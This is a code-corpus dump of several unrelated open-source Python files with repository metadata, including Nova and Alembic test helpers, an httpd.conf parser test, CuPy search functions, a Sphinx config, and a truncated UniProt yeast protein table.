"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "django/javanlp/management/commands/load_sentences.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "4165"
},
{
"name": "Java",
"bytes": "807"
},
{
"name": "JavaScript",
"bytes": "10159"
},
{
"name": "Python",
"bytes": "42221"
},
{
"name": "Shell",
"bytes": "6367"
}
],
"symlink_target": ""
} |
"""Base classes for our unit tests.
Allows overriding of flags for use of fakes, and some black magic for
inline callbacks.
"""
import functools
import os
import shutil
import uuid
import unittest
import mox
import nose.plugins.skip
import nova.image.fake
import shutil
import stubout
from eventlet import greenthread
from nova import fakerabbit
from nova import flags
from nova import log
from nova import rpc
from nova import utils
from nova import service
from nova.virt import fake
FLAGS = flags.FLAGS
flags.DEFINE_string('sqlite_clean_db', 'clean.sqlite',
'File name of clean sqlite db')
flags.DEFINE_bool('fake_tests', True,
'should we use everything for testing')
LOG = log.getLogger('nova.tests')
class skip_test(object):
"""Decorator that skips a test."""
# TODO(tr3buchet): remember forever what comstud did here
def __init__(self, msg):
self.message = msg
def __call__(self, func):
@functools.wraps(func)
def _skipper(*args, **kw):
"""Wrapped skipper function."""
raise nose.SkipTest(self.message)
return _skipper
class skip_if(object):
"""Decorator that skips a test if condition is true."""
def __init__(self, condition, msg):
self.condition = condition
self.message = msg
def __call__(self, func):
@functools.wraps(func)
def _skipper(*args, **kw):
"""Wrapped skipper function."""
if self.condition:
raise nose.SkipTest(self.message)
func(*args, **kw)
return _skipper
class skip_unless(object):
"""Decorator that skips a test if condition is not true."""
def __init__(self, condition, msg):
self.condition = condition
self.message = msg
def __call__(self, func):
@functools.wraps(func)
def _skipper(*args, **kw):
"""Wrapped skipper function."""
if not self.condition:
raise nose.SkipTest(self.message)
func(*args, **kw)
return _skipper
def skip_if_fake(func):
"""Decorator that skips a test if running in fake mode."""
def _skipper(*args, **kw):
"""Wrapped skipper function."""
if FLAGS.fake_tests:
raise unittest.SkipTest('Test cannot be run in fake mode')
else:
return func(*args, **kw)
return _skipper
class TestCase(unittest.TestCase):
"""Test case base class for all unit tests."""
def setUp(self):
"""Run before each test method to initialize test environment."""
super(TestCase, self).setUp()
# NOTE(vish): We need a better method for creating fixtures for tests
# now that we have some required db setup for the system
# to work properly.
self.start = utils.utcnow()
shutil.copyfile(os.path.join(FLAGS.state_path, FLAGS.sqlite_clean_db),
os.path.join(FLAGS.state_path, FLAGS.sqlite_db))
# emulate some of the mox stuff, we can't use the metaclass
# because it screws with our generators
self.mox = mox.Mox()
self.stubs = stubout.StubOutForTesting()
self.injected = []
self._services = []
self._original_flags = FLAGS.FlagValuesDict()
def tearDown(self):
"""Runs after each test method to tear down test environment."""
try:
self.mox.UnsetStubs()
self.stubs.UnsetAll()
self.stubs.SmartUnsetAll()
self.mox.VerifyAll()
super(TestCase, self).tearDown()
finally:
# Clean out fake_rabbit's queue if we used it
if FLAGS.fake_rabbit:
fakerabbit.reset_all()
if FLAGS.connection_type == 'fake':
if hasattr(fake.FakeConnection, '_instance'):
del fake.FakeConnection._instance
if FLAGS.image_service == 'nova.image.fake.FakeImageService':
nova.image.fake.FakeImageService_reset()
# Reset any overridden flags
self.reset_flags()
# Stop any timers
for x in self.injected:
try:
x.stop()
except AssertionError:
pass
# Kill any services
for x in self._services:
try:
x.kill()
except Exception:
pass
def flags(self, **kw):
"""Override flag variables for a test."""
for k, v in kw.iteritems():
setattr(FLAGS, k, v)
def reset_flags(self):
"""Resets all flag variables for the test.
Runs after each test.
"""
FLAGS.Reset()
for k, v in self._original_flags.iteritems():
setattr(FLAGS, k, v)
def start_service(self, name, host=None, **kwargs):
host = host and host or uuid.uuid4().hex
kwargs.setdefault('host', host)
kwargs.setdefault('binary', 'nova-%s' % name)
svc = service.Service.create(**kwargs)
svc.start()
self._services.append(svc)
return svc
# Useful assertions
def assertDictMatch(self, d1, d2, approx_equal=False, tolerance=0.001):
"""Assert two dicts are equivalent.
This is a 'deep' match in the sense that it handles nested
dictionaries appropriately.
NOTE:
If you don't care (or don't know) a given value, you can specify
the string DONTCARE as the value. This will cause that dict-item
to be skipped.
"""
def raise_assertion(msg):
d1str = str(d1)
d2str = str(d2)
base_msg = ('Dictionaries do not match. %(msg)s d1: %(d1str)s '
'd2: %(d2str)s' % locals())
raise AssertionError(base_msg)
d1keys = set(d1.keys())
d2keys = set(d2.keys())
if d1keys != d2keys:
d1only = d1keys - d2keys
d2only = d2keys - d1keys
raise_assertion('Keys in d1 and not d2: %(d1only)s. '
'Keys in d2 and not d1: %(d2only)s' % locals())
for key in d1keys:
d1value = d1[key]
d2value = d2[key]
try:
error = abs(float(d1value) - float(d2value))
within_tolerance = error <= tolerance
except (ValueError, TypeError):
# If both values aren't convertable to float, just ignore
# ValueError if arg is a str, TypeError if it's something else
# (like None)
within_tolerance = False
if hasattr(d1value, 'keys') and hasattr(d2value, 'keys'):
self.assertDictMatch(d1value, d2value)
elif 'DONTCARE' in (d1value, d2value):
continue
elif approx_equal and within_tolerance:
continue
elif d1value != d2value:
raise_assertion("d1['%(key)s']=%(d1value)s != "
"d2['%(key)s']=%(d2value)s" % locals())
def assertDictListMatch(self, L1, L2, approx_equal=False, tolerance=0.001):
"""Assert a list of dicts are equivalent."""
def raise_assertion(msg):
L1str = str(L1)
L2str = str(L2)
base_msg = ('List of dictionaries do not match: %(msg)s '
'L1: %(L1str)s L2: %(L2str)s' % locals())
raise AssertionError(base_msg)
L1count = len(L1)
L2count = len(L2)
if L1count != L2count:
raise_assertion('Length mismatch: len(L1)=%(L1count)d != '
'len(L2)=%(L2count)d' % locals())
for d1, d2 in zip(L1, L2):
self.assertDictMatch(d1, d2, approx_equal=approx_equal,
tolerance=tolerance)
def assertSubDictMatch(self, sub_dict, super_dict):
"""Assert a sub_dict is subset of super_dict."""
self.assertTrue(set(sub_dict.keys()).issubset(set(super_dict.keys())))
for k, sub_value in sub_dict.items():
super_value = super_dict[k]
if isinstance(sub_value, dict):
self.assertSubDictMatch(sub_value, super_value)
elif 'DONTCARE' in (sub_value, super_value):
continue
else:
self.assertEqual(sub_value, super_value)
def assertIn(self, a, b, *args, **kwargs):
"""Python < v2.7 compatibility. Assert 'a' in 'b'"""
try:
f = super(TestCase, self).assertIn
except AttributeError:
self.assertTrue(a in b, *args, **kwargs)
else:
f(a, b, *args, **kwargs)
def assertNotIn(self, a, b, *args, **kwargs):
"""Python < v2.7 compatibility. Assert 'a' NOT in 'b'"""
try:
f = super(TestCase, self).assertNotIn
except AttributeError:
self.assertFalse(a in b, *args, **kwargs)
else:
f(a, b, *args, **kwargs)
| {
"content_hash": "b584e6b46556eb491578495acdf4df0b",
"timestamp": "",
"source": "github",
"line_count": 276,
"max_line_length": 79,
"avg_line_length": 33.01086956521739,
"alnum_prop": 0.5536165075183843,
"repo_name": "salv-orlando/MyRepo",
"id": "abd1294d4a83488873955552ebec6d0e8158d30e",
"size": "9888",
"binary": false,
"copies": "1",
"ref": "refs/heads/bp/xenapi-security-groups",
"path": "nova/test.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "JavaScript",
"bytes": "7412"
},
{
"name": "Python",
"bytes": "4477933"
},
{
"name": "Shell",
"bytes": "34174"
}
],
"symlink_target": ""
} |
name = "Example-HTTP-Gauss"
execution_strategy = {
"ignore_first_n_results": 0,
"sample_size": 100,
"type": "self_optimizer",
"optimizer_method": "gauss",
"optimizer_iterations": 20,
"optimizer_random_starts": 10,
"knobs": {
"x": (-4.0, 4.0),
"y": (-10.0, 10.0)
}
}
def primary_data_reducer(state, newData, wf):
cnt = state["count"]
state["avg_result"] = (state["avg_result"] * cnt + newData["result"]) / (cnt + 1)
state["count"] = cnt + 1
return state
primary_data_provider = {
"type": "http_request",
"url": "http://localhost:3000",
"serializer": "JSON",
"data_reducer": primary_data_reducer
}
change_provider = {
"type": "http_request",
"url": "http://localhost:3000",
"serializer": "JSON",
}
def evaluator(resultState, wf):
return resultState["avg_result"]
def state_initializer(state, wf):
state["count"] = 0
state["avg_result"] = 0
return state
def change_event_creator(variables, wf):
return variables
| {
"content_hash": "7a679a98e1811ab9dcf2833a1d7ca79b",
"timestamp": "",
"source": "github",
"line_count": 49,
"max_line_length": 85,
"avg_line_length": 21.081632653061224,
"alnum_prop": 0.590513068731849,
"repo_name": "Starofall/RTX",
"id": "467159228a329f9bd6bf19feb8bc16a54a4465f7",
"size": "1115",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "examples/http-gauss/definition.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "149"
},
{
"name": "Dockerfile",
"bytes": "719"
},
{
"name": "JavaScript",
"bytes": "1088"
},
{
"name": "Python",
"bytes": "43066"
},
{
"name": "Scala",
"bytes": "4296"
}
],
"symlink_target": ""
} |
from sqlalchemy import Integer, Column, \
Table, Boolean, MetaData, CheckConstraint
from sqlalchemy.sql import column, func
from alembic import op
from alembic.testing.fixtures import op_fixture
from alembic.testing.fixtures import TestBase
class AutoNamingConventionTest(TestBase):
__requires__ = ('sqlalchemy_094', )
def test_add_check_constraint(self):
context = op_fixture(naming_convention={
"ck": "ck_%(table_name)s_%(constraint_name)s"
})
op.create_check_constraint(
"foo",
"user_table",
func.len(column('name')) > 5
)
context.assert_(
"ALTER TABLE user_table ADD CONSTRAINT ck_user_table_foo "
"CHECK (len(name) > 5)"
)
def test_add_check_constraint_name_is_none(self):
context = op_fixture(naming_convention={
"ck": "ck_%(table_name)s_foo"
})
op.create_check_constraint(
None,
"user_table",
func.len(column('name')) > 5
)
context.assert_(
"ALTER TABLE user_table ADD CONSTRAINT ck_user_table_foo "
"CHECK (len(name) > 5)"
)
def test_add_unique_constraint_name_is_none(self):
context = op_fixture(naming_convention={
"uq": "uq_%(table_name)s_foo"
})
op.create_unique_constraint(
None,
"user_table",
'x'
)
context.assert_(
"ALTER TABLE user_table ADD CONSTRAINT uq_user_table_foo UNIQUE (x)"
)
def test_add_index_name_is_none(self):
context = op_fixture(naming_convention={
"ix": "ix_%(table_name)s_foo"
})
op.create_index(
None,
"user_table",
'x'
)
context.assert_(
"CREATE INDEX ix_user_table_foo ON user_table (x)"
)
def test_add_check_constraint_already_named_from_schema(self):
m1 = MetaData(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
ck = CheckConstraint("im a constraint", name="cc1")
Table('t', m1, Column('x'), ck)
context = op_fixture(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
op.create_table(
"some_table",
Column('x', Integer, ck),
)
context.assert_(
"CREATE TABLE some_table "
"(x INTEGER CONSTRAINT ck_t_cc1 CHECK (im a constraint))"
)
def test_add_check_constraint_inline_on_table(self):
context = op_fixture(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
op.create_table(
"some_table",
Column('x', Integer),
CheckConstraint("im a constraint", name="cc1")
)
context.assert_(
"CREATE TABLE some_table "
"(x INTEGER, CONSTRAINT ck_some_table_cc1 CHECK (im a constraint))"
)
def test_add_check_constraint_inline_on_table_w_f(self):
context = op_fixture(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
op.create_table(
"some_table",
Column('x', Integer),
CheckConstraint("im a constraint", name=op.f("ck_some_table_cc1"))
)
context.assert_(
"CREATE TABLE some_table "
"(x INTEGER, CONSTRAINT ck_some_table_cc1 CHECK (im a constraint))"
)
def test_add_check_constraint_inline_on_column(self):
context = op_fixture(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
op.create_table(
"some_table",
Column('x', Integer, CheckConstraint("im a constraint", name="cc1"))
)
context.assert_(
"CREATE TABLE some_table "
"(x INTEGER CONSTRAINT ck_some_table_cc1 CHECK (im a constraint))"
)
def test_add_check_constraint_inline_on_column_w_f(self):
context = op_fixture(
naming_convention={"ck": "ck_%(table_name)s_%(constraint_name)s"})
op.create_table(
"some_table",
Column(
'x', Integer,
CheckConstraint("im a constraint", name=op.f("ck_q_cc1")))
)
context.assert_(
"CREATE TABLE some_table "
"(x INTEGER CONSTRAINT ck_q_cc1 CHECK (im a constraint))"
)
def test_add_column_schema_type(self):
context = op_fixture(naming_convention={
"ck": "ck_%(table_name)s_%(constraint_name)s"
})
op.add_column('t1', Column('c1', Boolean(name='foo'), nullable=False))
context.assert_(
'ALTER TABLE t1 ADD COLUMN c1 BOOLEAN NOT NULL',
'ALTER TABLE t1 ADD CONSTRAINT ck_t1_foo CHECK (c1 IN (0, 1))'
)
def test_add_column_schema_type_w_f(self):
context = op_fixture(naming_convention={
"ck": "ck_%(table_name)s_%(constraint_name)s"
})
op.add_column(
't1', Column('c1', Boolean(name=op.f('foo')), nullable=False))
context.assert_(
'ALTER TABLE t1 ADD COLUMN c1 BOOLEAN NOT NULL',
'ALTER TABLE t1 ADD CONSTRAINT foo CHECK (c1 IN (0, 1))'
)
| {
"content_hash": "4cf95870f502da7cc5610fdd42c34701",
"timestamp": "",
"source": "github",
"line_count": 157,
"max_line_length": 80,
"avg_line_length": 33.87898089171974,
"alnum_prop": 0.5416431660086483,
"repo_name": "ImaginationForPeople/alembic",
"id": "fd70faafcf2726261ce10da432525da8f6b4d8af",
"size": "5319",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "tests/test_op_naming_convention.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Mako",
"bytes": "5970"
},
{
"name": "Python",
"bytes": "859683"
}
],
"symlink_target": ""
} |
import doctest
from insights.parsr.query import first, last
from insights.parsers import httpd_conf
from insights.tests import context_wrap
HTTPD_CONF_1 = """
ServerRoot "/etc/httpd"
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
SSLProtocol -ALL +SSLv3
#SSLProtocol all -SSLv2
NSSProtocol SSLV3 TLSV1.0
#NSSProtocol ALL
# prefork MPM
<IfModule prefork.c>
StartServers 8
MinSpareServers 5
MaxSpareServers 20
ServerLimit 256
MaxClients 256
MaxRequestsPerChild 200
</IfModule>
# worker MPM
<IfModule worker.c>
StartServers 4
MaxClients 300
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
""".strip()
HTTPD_CONF_PATH = "/etc/httpd/conf/httpd.conf"
HTTPD_CONF_D_PATH = "/etc/httpd/conf.d/default.conf"
HTTPD_CONF_D_1 = """
SSLProtocol -ALL +SSLv3
#SSLProtocol all -SSLv2
#SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
# MaxClients: maximum number of server processes allowed to start
MaxClients
""".strip()
HTTPD_CONF_SPLIT = '''
LogLevel warn
IncludeOptional conf.d/*.conf
EnableSendfile on
'''.strip()
HTTPD_CONF_MORE = '''
UserDir disable
UserDir enable bob
'''.strip()
HTTPD_CONF_NEST_1 = """
<VirtualHost 192.0.2.1>
<Directory /var/www/example>
Options FollowSymLinks
AllowOverride None
</Directory>
<IfModule mod_php4.c>
php_admin_flag safe_mode Off
php_admin_value register_globals 0
php_value magic_quotes_gpc 0
php_value magic_quotes_runtime 0
php_value allow_call_time_pass_reference 0
</IfModule>
DirectoryIndex index.php
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* /index.php
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
DocumentRoot /var/www/example
ServerName www.example.com
ServerAlias admin.example.com
</VirtualHost>
""".strip() # noqa W291
HTTPD_CONF_NO_NAME_SEC = """
<RequireAll>
AuthName "NAME Access"
Require valid-user
</RequireAll>
""".strip()
HTTPD_CONF_DOC = '''
ServerRoot "/etc/httpd"
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<IfModule mod_mime_magic.c>
# MIMEMagicFile /usr/share/magic.mime
MIMEMagicFile conf/magic
</IfModule>
ErrorLog "|/usr/sbin/httplog -z /var/log/httpd/error_log.%Y-%m-%d"
SSLProtocol -ALL +SSLv3
#SSLProtocol all -SSLv2
NSSProtocol SSLV3 TLSV1.0
#NSSProtocol ALL
# prefork MPM
<IfModule prefork.c>
StartServers 8
MinSpareServers 5
MaxSpareServers 20
ServerLimit 256
MaxClients 256
MaxRequestsPerChild 200
</IfModule>
# worker MPM
<IfModule worker.c>
StartServers 4
MaxClients 300
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
'''.strip()
def test_get_httpd_conf_nest_1():
context = context_wrap(HTTPD_CONF_NEST_1, path=HTTPD_CONF_PATH)
result = httpd_conf.HttpdConf(context)
assert result["VirtualHost", "192.0.2.1"]["IfModule", "mod_php4.c"]['php_admin_flag'][last].value == "safe_mode Off"
assert result["VirtualHost", "192.0.2.1"]["IfModule", "mod_rewrite.c"]['RewriteEngine'][last].value is False
assert result["VirtualHost", "192.0.2.1"]["IfModule", "mod_rewrite.c"]['RewriteRule'][last].value == ".* /index.php"
assert result["VirtualHost", "192.0.2.1"]['ServerName'][last].value == "www.example.com"
def test_get_httpd_conf_1():
context = context_wrap(HTTPD_CONF_1, path=HTTPD_CONF_PATH)
result = httpd_conf.HttpdConf(context)
assert "SSLCipherSuite" not in result
assert result['ServerRoot'][first].value == '/etc/httpd'
assert result["NSSProtocol"][first].value == "SSLV3 TLSV1.0"
assert result["IfModule", "prefork.c"]["MaxClients"][last].value == 256
assert result["IfModule", "worker.c"]["MaxClients"][last].value == 300
assert result.file_path == HTTPD_CONF_PATH
assert 'ThreadsPerChild' not in result['IfModule', 'prefork.c']
assert result['IfModule', 'prefork.c']['MaxRequestsPerChild'][last].value == 200
assert result.file_name == "httpd.conf"
assert result['LoadModule'][first].value == 'auth_basic_module modules/mod_auth_basic.so'
assert result['LoadModule'][last].value == 'auth_digest_module modules/mod_auth_digest.so'
assert result['Directory', '/']['Options'][last].value == 'FollowSymLinks'
def test_get_httpd_conf_2():
context = context_wrap(HTTPD_CONF_D_1, path=HTTPD_CONF_D_PATH)
result = httpd_conf.HttpdConf(context)
except_SSLC = 'ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW'
assert result["SSLCipherSuite"][last].value == except_SSLC
assert "NSSProtocol" not in result
assert result.file_path == HTTPD_CONF_D_PATH
assert result.file_name == "default.conf"
assert result["SSLProtocol"][last].value == '-ALL +SSLv3'
assert result["SSLProtocol"][last].line == 'SSLProtocol -ALL +SSLv3'
def test_main_config_splitting():
context = context_wrap(HTTPD_CONF_SPLIT, path=HTTPD_CONF_PATH)
result = httpd_conf.HttpdConf(context)
assert result.file_path == HTTPD_CONF_PATH
assert result.file_name == "httpd.conf"
assert result['LogLevel'][-1].value == 'warn'
assert result['LogLevel'][-1].line == 'LogLevel warn'
assert result['EnableSendfile'][-1].value is True
def test_multiple_values_for_directive():
context = context_wrap(HTTPD_CONF_MORE, path=HTTPD_CONF_PATH)
result = httpd_conf.HttpdConf(context)
assert result.file_path == HTTPD_CONF_PATH
assert result.file_name == "httpd.conf"
assert len(result['UserDir']) == 2
assert result['UserDir'][0].value == 'disable'
assert result['UserDir'][1].value == 'enable bob'
def test_no_name_section():
context = context_wrap(HTTPD_CONF_NO_NAME_SEC, path=HTTPD_CONF_PATH)
result = httpd_conf.HttpdConf(context)
assert result["RequireAll"]["AuthName"][last].value == "NAME Access"
assert result["RequireAll"]["Require"][last].value == "valid-user"
def test_doc():
env = {
'httpd_conf.HttpdConf': httpd_conf.HttpdConf,
'httpd_conf': httpd_conf.HttpdConf(context_wrap(HTTPD_CONF_DOC, path='/path')),
}
failed, total = doctest.testmod(httpd_conf, globs=env)
assert failed == 0
| {
"content_hash": "b4c477aa51d9f1e5375eb7d90f489816",
"timestamp": "",
"source": "github",
"line_count": 223,
"max_line_length": 120,
"avg_line_length": 29.73542600896861,
"alnum_prop": 0.6905444126074498,
"repo_name": "RedHatInsights/insights-core",
"id": "0ebf9d441a1b14a32d364396a78b3e03ddc3df40",
"size": "6631",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "insights/tests/parsers/test_httpd_conf.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Dockerfile",
"bytes": "220"
},
{
"name": "Python",
"bytes": "8219046"
},
{
"name": "Shell",
"bytes": "1754"
}
],
"symlink_target": ""
} |
from cupy import core
def argmax(a, axis=None, dtype=None, out=None, keepdims=False):
"""Returns the indices of the maximum along an axis.
Args:
a (cupy.ndarray): Array to take argmax.
axis (int): Along which axis to find the maximum. ``a`` is flattened by
default.
dtype: Data type specifier.
out (cupy.ndarray): Output array.
keepdims (bool): If ``True``, the axis ``axis`` is preserved as an axis
of length one.
Returns:
cupy.ndarray: The indices of the maximum of ``a`` along an axis.
.. seealso:: :func:`numpy.argmax`
"""
# TODO(okuta): check type
return a.argmax(axis=axis, dtype=dtype, out=out, keepdims=keepdims)
# TODO(okuta): Implement nanargmax
def argmin(a, axis=None, dtype=None, out=None, keepdims=False):
"""Returns the indices of the minimum along an axis.
Args:
a (cupy.ndarray): Array to take argmin.
axis (int): Along which axis to find the minimum. ``a`` is flattened by
default.
dtype: Data type specifier.
out (cupy.ndarray): Output array.
keepdims (bool): If ``True``, the axis ``axis`` is preserved as an axis
of length one.
Returns:
cupy.ndarray: The indices of the minimum of ``a`` along an axis.
.. seealso:: :func:`numpy.argmin`
"""
# TODO(okuta): check type
return a.argmin(axis=axis, dtype=dtype, out=out, keepdims=keepdims)
# TODO(okuta): Implement nanargmin
# TODO(okuta): Implement argwhere
# TODO(okuta): Implement nonzero
# TODO(okuta): Implement flatnonzero
def where(condition, x=None, y=None):
"""Return elements, either from x or y, depending on condition.
.. note::
Currently CuPy doesn't support ``where(condition)``, that NumPy
supports.
Args:
condition (cupy.ndarray): When True, take x, otherwise take y.
x (cupy.ndarray): Values from which to choose on ``True``.
y (cupy.ndarray): Values from which to choose on ``False``.
Returns:
cupy.ndarray: Each element of output contains elements of ``x`` when
``condition`` is ``True``, otherwise elements of ``y``.
"""
missing = (x is None, y is None).count(True)
if missing == 1:
raise ValueError("Must provide both 'x' and 'y' or neither.")
if missing == 2:
# TODO(unno): return nonzero(cond)
return NotImplementedError()
return _where_ufunc(condition.astype('?'), x, y)
_where_ufunc = core.create_ufunc(
'cupy_where',
('???->?', '?bb->b', '?BB->B', '?hh->h', '?HH->H', '?ii->i', '?II->I',
'?ll->l', '?LL->L', '?qq->q', '?QQ->Q', '?ee->e', '?ff->f',
# On CUDA 6.5 these combinations don't work correctly (on CUDA >=7.0, it
# works).
# See issue #551.
'?hd->d', '?Hd->d',
'?dd->d'),
'out0 = in0 ? in1 : in2')
# TODO(okuta): Implement searchsorted
# TODO(okuta): Implement extract
| {
"content_hash": "74af91fade20626de7e11909789a77bc",
"timestamp": "",
"source": "github",
"line_count": 107,
"max_line_length": 79,
"avg_line_length": 27.710280373831775,
"alnum_prop": 0.5973018549747049,
"repo_name": "AlpacaDB/chainer",
"id": "89009c1cf20dcb0e6bb46f6c66c68e0e97766ac1",
"size": "2965",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "cupy/sorting/search.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "3366"
},
{
"name": "C",
"bytes": "29175"
},
{
"name": "Cuda",
"bytes": "6118"
},
{
"name": "PowerShell",
"bytes": "7195"
},
{
"name": "Python",
"bytes": "1498625"
}
],
"symlink_target": ""
} |
import os
import sys
try:
import qirest
except ImportError:
# A ReadTheDocs build does not install qirest. In that case,
# load the module directly.
src_dir = os.path.join(os.path.dirname(__file__), '..')
sys.path.append(src_dir)
import qirest
extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', 'sphinx.ext.todo']
autoclass_content = "both"
autodoc_default_flags= ['members', 'show-inheritance']
source_suffix = '.rst'
master_doc = 'index'
project = u'qirest'
copyright = u'2014, OHSU Knight Cancer Institute. This software is not intended for clinical use'
pygments_style = 'sphinx'
htmlhelp_basename = 'qirestdoc'
html_title = "qirest"
def skip(app, what, name, obj, skip, options):
return False if name == "__init__" else skip
def setup(app):
app.connect("autodoc-skip-member", skip)
| {
"content_hash": "b27d1b7dc7ba5a83795a5b7379829608",
"timestamp": "",
"source": "github",
"line_count": 28,
"max_line_length": 97,
"avg_line_length": 29.785714285714285,
"alnum_prop": 0.7002398081534772,
"repo_name": "ohsu-qin/qiprofile-rest",
"id": "2d284b61c2297447e51196a88109fd1bc4b4cf7d",
"size": "834",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "doc/conf.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Python",
"bytes": "61483"
}
],
"symlink_target": ""
} |
"""Selected UniProt data saved in Python."""
# Copyright (C) 2014-2019 DV Klopfenstein. All rights reserved
#
# ADAPTED TO PYTHON from the UniProt file:
# ftp://ftp.uniprot.org/pub/databases/uniprot/current_release/knowledgebase/complete
DOWNLOADED = "2019_03_07" # UniProt source files were downloaded on this date
# Contains 5915 items for "Saccharomyces cerevisiae ("
from collections import namedtuple
ntuniprot = namedtuple('ntuniprot', 'RecName_Full')
# pylint: disable=too-many-lines
UNIPROT2NT = { # 5,915 items
'A0A023PXF5' : ntuniprot(RecName_Full='Putative uncharacterized helicase-like protein YHR218W-A {ECO:0000305}'),
'A0A023PZB3' : ntuniprot(RecName_Full='Protein FMP49, mitochondrial {ECO:0000305|PubMed:14576278}'),
'A0A0B7P221' : ntuniprot(RecName_Full='Uncharacterized protein RDT1 {ECO:0000303|PubMed:21948395}'),
'A0A0B7P3V8' : ntuniprot(RecName_Full='Transposon Ty4-P Gag-Pol polyprotein'),
'A2P2R3' : ntuniprot(RecName_Full='Putative glutamine--fructose-6-phosphate aminotransferase [isomerizing]'),
'A5Z2X5' : ntuniprot(RecName_Full='UPF0495 protein YPR010C-A'),
'D6VPM8' : ntuniprot(RecName_Full='Putative DUP240 protein YAR023C'),
'D6VTK4' : ntuniprot(RecName_Full='Pheromone alpha factor receptor'),
'D6W196' : ntuniprot(RecName_Full='Truncated non-functional calcium-binding mitochondrial carrier SAL1-1'),
'I2HB52' : ntuniprot(RecName_Full='Uncharacterized protein YBR056W-A'),
'I2HB70' : ntuniprot(RecName_Full='Uncharacterized protein YMR316C-A'),
'O13297' : ntuniprot(RecName_Full='mRNA-capping enzyme subunit beta'),
'O13329' : ntuniprot(RecName_Full='DNA replication fork-blocking protein FOB1 {ECO:0000303|PubMed:9078378}'),
'O13511' : ntuniprot(RecName_Full='Uncharacterized protein YAL065C'),
'O13512' : ntuniprot(RecName_Full='Uncharacterized membrane protein YAL064W-B'),
'O13516' : ntuniprot(RecName_Full='40S ribosomal protein S9-A {ECO:0000303|PubMed:9559554}'),
'O13525' : ntuniprot(RecName_Full='Ubiquinone biosynthesis protein COQ4, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03111}'),
'O13527' : ntuniprot(RecName_Full='Truncated transposon Ty1-A Gag-Pol polyprotein'),
'O13529' : ntuniprot(RecName_Full='Protein ECM12'),
'O13535' : ntuniprot(RecName_Full='Transposon Ty1-H Gag-Pol polyprotein'),
'O13539' : ntuniprot(RecName_Full='THO complex subunit THP2'),
'O13547' : ntuniprot(RecName_Full='Covalently-linked cell wall protein 14'),
'O13549' : ntuniprot(RecName_Full='Uncharacterized protein VPS63 {ECO:0000305}'),
'O13556' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR462W'),
'O13559' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 4"),
'O13563' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN13'),
'O13565' : ntuniprot(RecName_Full='Uncharacterized protein YLR358C'),
'O13577' : ntuniprot(RecName_Full='Damage-regulated import facilitator 1'),
'O13578' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR415C, mitochondrial'),
'O13585' : ntuniprot(RecName_Full='Dilute domain-containing protein YPR089W'),
'O13587' : ntuniprot(RecName_Full='Uncharacterized protein YPR096C'),
'O14455' : ntuniprot(RecName_Full='60S ribosomal protein L36-B {ECO:0000303|PubMed:9559554}'),
'O14464' : ntuniprot(RecName_Full='54S ribosomal protein RTC6, mitochondrial'),
'O14467' : ntuniprot(RecName_Full='Multiprotein-bridging factor 1'),
'O14468' : ntuniprot(RecName_Full='Uncharacterized protein YOR304C-A'),
'O43137' : ntuniprot(RecName_Full='Uncharacterized protein YBR085C-A'),
'O60200' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 35'),
'O74302' : ntuniprot(RecName_Full='Transposon Ty1-DR4 Gag polyprotein'),
'O74700' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM9'),
'O75012' : ntuniprot(RecName_Full='37S ribosomal protein MRP10, mitochondrial'),
'O94742' : ntuniprot(RecName_Full='26S proteasome complex subunit SEM1'),
'P00044' : ntuniprot(RecName_Full='Cytochrome c iso-1'),
'P00045' : ntuniprot(RecName_Full='Cytochrome c iso-2'),
'P00127' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 6'),
'P00128' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 7'),
'P00163' : ntuniprot(RecName_Full='Cytochrome b'),
'P00175' : ntuniprot(RecName_Full='Cytochrome b2, mitochondrial'),
'P00330' : ntuniprot(RecName_Full='Alcohol dehydrogenase 1'),
'P00331' : ntuniprot(RecName_Full='Alcohol dehydrogenase 2'),
'P00358' : ntuniprot(RecName_Full='Glyceraldehyde-3-phosphate dehydrogenase 2'),
